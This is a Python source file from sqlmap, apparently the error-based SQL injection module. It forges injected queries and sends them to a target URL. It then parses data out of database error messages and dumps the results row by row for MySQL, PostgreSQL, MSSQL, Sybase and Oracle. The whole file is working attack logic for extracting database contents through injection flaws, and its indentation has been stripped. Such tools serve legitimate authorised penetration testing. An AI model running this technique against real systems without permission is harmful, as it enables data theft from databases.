#!/usr/bin/env python
"""
$Id$
Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
See the file 'doc/COPYING' for copying permission
"""
import re
import time
from lib.core.agent import agent
from lib.core.common import calculateDeltaSeconds
from lib.core.common import dataToSessionFile
from lib.core.common import extractRegexResult
from lib.core.common import backend
from lib.core.common import initTechnique
from lib.core.common import isNumPosStrValue
from lib.core.common import randomInt
from lib.core.common import replaceNewlineTabs
from lib.core.common import safeStringFormat
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import queries
from lib.core.enums import DBMS
from lib.core.enums import EXPECTED
from lib.core.enums import PAYLOAD
from lib.core.settings import FROM_TABLE
from lib.core.unescaper import unescaper
from lib.request.connect import Connect as Request
from lib.utils.resume import resume
reqCount = 0
def __oneShotErrorUse(expression, field):
global reqCount
check = "%s(?P<result>.*?)%s" % (kb.misc.start, kb.misc.stop)
nulledCastedField = agent.nullAndCastField(field)
if backend.getIdentifiedDbms() == DBMS.MYSQL:
# Fix for MySQL odd behaviour ('Subquery returns more than 1 row')
nulledCastedField = nulledCastedField.replace("AS CHAR)", "AS CHAR(100))")
# Forge the error-based SQL injection request
vector = agent.cleanupPayload(kb.injection.data[PAYLOAD.TECHNIQUE.ERROR].vector)
query = unescaper.unescape(vector)
query = agent.prefixQuery(query)
query = agent.suffixQuery(query)
injExpression = expression.replace(field, nulledCastedField, 1)
injExpression = unescaper.unescape(injExpression)
injExpression = query.replace("[QUERY]", injExpression)
payload = agent.payload(newValue=injExpression)
# Perform the request
page, _ = Request.queryPage(payload, content=True)
reqCount += 1
# Parse the returned page to get the exact error-based
# sql injection output
output = extractRegexResult(check, page, re.DOTALL | re.IGNORECASE)
dataToSessionFile("[%s][%s][%s][%s][%s]\n" % (conf.url, kb.injection.place, conf.parameters[kb.injection.place], expression, replaceNewlineTabs(output)))
return output
def __errorFields(expression, expressionFields, expressionFieldsList, expected=None, num=None, resumeValue=True):
outputs = []
origExpr = None
for field in expressionFieldsList:
output = None
if field.startswith("ROWNUM "):
continue
if isinstance(num, int):
origExpr = expression
expression = agent.limitQuery(num, expression, field)
if "ROWNUM" in expressionFieldsList:
expressionReplaced = expression
else:
expressionReplaced = expression.replace(expressionFields, field, 1)
if resumeValue:
output = resume(expressionReplaced, None)
if not output or (expected == EXPECTED.INT and not output.isdigit()):
if output:
warnMsg = "expected value type %s, resumed '%s', " % (expected, output)
warnMsg += "sqlmap is going to retrieve the value again"
logger.warn(warnMsg)
output = __oneShotErrorUse(expressionReplaced, field)
logger.info("retrieved: %s" % output)
if isinstance(num, int):
expression = origExpr
if output:
output = output.replace(kb.misc.space, " ")
outputs.append(output)
return outputs
def errorUse(expression, expected=None, resumeValue=True, dump=False):
"""
Retrieve the output of a SQL query taking advantage of the error-based
SQL injection vulnerability on the affected parameter.
"""
initTechnique(PAYLOAD.TECHNIQUE.ERROR)
count = None
start = time.time()
startLimit = 0
stopLimit = None
outputs = []
test = None
untilLimitChar = None
untilOrderChar = None
global reqCount
reqCount = 0
if resumeValue:
output = resume(expression, None)
else:
output = None
if output and (expected is None or (expected == EXPECTED.INT and output.isdigit())):
return output
_, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(expression)
# We have to check if the SQL query might return multiple entries
# and in such case forge the SQL limiting the query output one
# entry per time
# NOTE: I assume that only queries that get data from a table can
# return multiple entries
if " FROM " in expression.upper() and ((backend.getIdentifiedDbms() not in FROM_TABLE) or (backend.getIdentifiedDbms() in FROM_TABLE and not expression.upper().endswith(FROM_TABLE[backend.getIdentifiedDbms()]))) and "EXISTS(" not in expression.upper():
limitRegExp = re.search(queries[backend.getIdentifiedDbms()].limitregexp.query, expression, re.I)
topLimit = re.search("TOP\s+([\d]+)\s+", expression, re.I)
if limitRegExp or (backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and topLimit):
if backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
limitGroupStart = queries[backend.getIdentifiedDbms()].limitgroupstart.query
limitGroupStop = queries[backend.getIdentifiedDbms()].limitgroupstop.query
if limitGroupStart.isdigit():
startLimit = int(limitRegExp.group(int(limitGroupStart)))
stopLimit = limitRegExp.group(int(limitGroupStop))
limitCond = int(stopLimit) > 1
elif backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
if limitRegExp:
limitGroupStart = queries[backend.getIdentifiedDbms()].limitgroupstart.query
limitGroupStop = queries[backend.getIdentifiedDbms()].limitgroupstop.query
if limitGroupStart.isdigit():
startLimit = int(limitRegExp.group(int(limitGroupStart)))
stopLimit = limitRegExp.group(int(limitGroupStop))
limitCond = int(stopLimit) > 1
elif topLimit:
startLimit = 0
stopLimit = int(topLimit.group(1))
limitCond = int(stopLimit) > 1
elif backend.getIdentifiedDbms() == DBMS.ORACLE:
limitCond = False
else:
limitCond = True
# I assume that only queries NOT containing a "LIMIT #, 1"
# (or similar depending on the back-end DBMS) can return
# multiple entries
if limitCond:
if limitRegExp:
stopLimit = int(stopLimit)
# From now on we need only the expression until the " LIMIT "
# (or similar, depending on the back-end DBMS) word
if backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
stopLimit += startLimit
untilLimitChar = expression.index(queries[backend.getIdentifiedDbms()].limitstring.query)
expression = expression[:untilLimitChar]
elif backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
stopLimit += startLimit
elif dump:
if conf.limitStart:
startLimit = conf.limitStart
if conf.limitStop:
stopLimit = conf.limitStop
if not stopLimit or stopLimit <= 1:
if backend.getIdentifiedDbms() in FROM_TABLE and expression.upper().endswith(FROM_TABLE[backend.getIdentifiedDbms()]):
test = False
else:
test = True
if test:
# Count the number of SQL query entries output
countFirstField = queries[backend.getIdentifiedDbms()].count.query % expressionFieldsList[0]
countedExpression = expression.replace(expressionFields, countFirstField, 1)
if re.search(" ORDER BY ", expression, re.I):
untilOrderChar = countedExpression.index(" ORDER BY ")
countedExpression = countedExpression[:untilOrderChar]
if resumeValue:
count = resume(countedExpression, None)
if not stopLimit:
if not count or not count.isdigit():
_, _, _, _, _, _, countedExpressionFields, _ = agent.getFields(countedExpression)
count = __oneShotErrorUse(countedExpression, countedExpressionFields)
if isNumPosStrValue(count):
stopLimit = int(count)
infoMsg = "the SQL query used returns "
infoMsg += "%d entries" % stopLimit
logger.info(infoMsg)
elif count and not count.isdigit():
warnMsg = "it was not possible to count the number "
warnMsg += "of entries for the used SQL query. "
warnMsg += "sqlmap will assume that it returns only "
warnMsg += "one entry"
logger.warn(warnMsg)
stopLimit = 1
elif (not count or int(count) == 0):
warnMsg = "the SQL query used does not "
warnMsg += "return any output"
logger.warn(warnMsg)
return None
elif (not count or int(count) == 0) and (not stopLimit or stopLimit == 0):
warnMsg = "the SQL query used does not "
warnMsg += "return any output"
logger.warn(warnMsg)
return None
try:
for num in xrange(startLimit, stopLimit):
output = __errorFields(expression, expressionFields, expressionFieldsList, expected, num, resumeValue)
outputs.append(output)
except KeyboardInterrupt:
print
warnMsg = "Ctrl+C detected in dumping phase"
logger.warn(warnMsg)
duration = calculateDeltaSeconds(start)
debugMsg = "performed %d queries in %d seconds" % (reqCount, duration)
logger.debug(debugMsg)
return outputs
else:
return __oneShotErrorUse(expression, expressionFields)
return outputs